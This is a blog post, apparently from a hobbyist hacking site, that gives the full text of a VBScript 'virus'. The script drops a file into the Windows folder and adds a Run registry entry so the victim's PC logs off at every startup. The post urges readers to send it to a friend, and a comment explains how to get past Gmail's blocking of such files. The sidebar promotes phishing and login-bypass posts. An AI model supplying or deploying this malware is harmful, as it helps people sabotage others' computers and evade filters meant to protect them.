Recent Articles
Create Virus to Log Off Windows every time at Start up


From today i m starting a new section here on my site, which will help you to learn about virus programming and also you can make small viruses on your PC just using notepad.... :)
This first post of virus programming will tell you about... how you can make a virus that will shutdown a PC Automatically at Startup. Every time when a victim will restart his PC, it will be shutdown.
Ok, just open the notepad and type the paste the following code:
code:
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript. vbs","REG_SZ”
Now save this notepad file with any name having .vbs extension....
Now send it to ur friend.... and Frustrate your friend by shutting down his computer automatically on startup ;)
How to get rid of this virus:
for that just boot ur system in safe mode and then go to directory c:\ windows.... find out wscript.vbs file there.... and delete it :)



3 comments for this post
Leave a reply
Subscribe to:
Post Comments (Atom)
TechByte4U on Facebook
Popular Posts
In response to query asked by Ameer Hasan Malik Did you forget your windows login password? or want to access Admin account in schoo...
Well, Previously i hv explained how to make genuine Win Xp and Professional version of win 7 only.... In this post i m gonna tell you...
Free winrar, Full version Winrar, Winrar Serial key I guess everyone know what is Winrar, and what it works. So without going into t...
Have you seen the illusion pictures that ask you to stare on the picture for some seconds and then blink your eyes to see the celebrity? Im...
Google Chrome was one of the first browsers to have multiple processes, which creates a separate process for each tab. That means ...
Through out a day, almost all computer user do many repetitive tasks on computer and internet. If you are one of them, then Macro recor...
Google Chrome was one of the first browsers to have multiple processes . If you are a frequent Google Chrome user, then you probabel...
Do you have a USB Drive or Memory card? If yes, then you must know the facts of your USB and also you should be able to answer the ...
Previously i have posted about how to hack any account using phishing pages.... Now in this post i m gonna explain how you can make phi...
In today's time, not even every home has a laptop or computer, but every member of family also own separate laptops or any other de...
Nitasha
September 19, 2010 at 12:20 PM
gud hmmm !!!
Unknown
April 2, 2012 at 4:37 PM
but gmail do not accept this file
Surbhi Verma
April 3, 2012 at 11:22 AM
yes, gmail does not accept virus files, try to send it through yahoo messenger.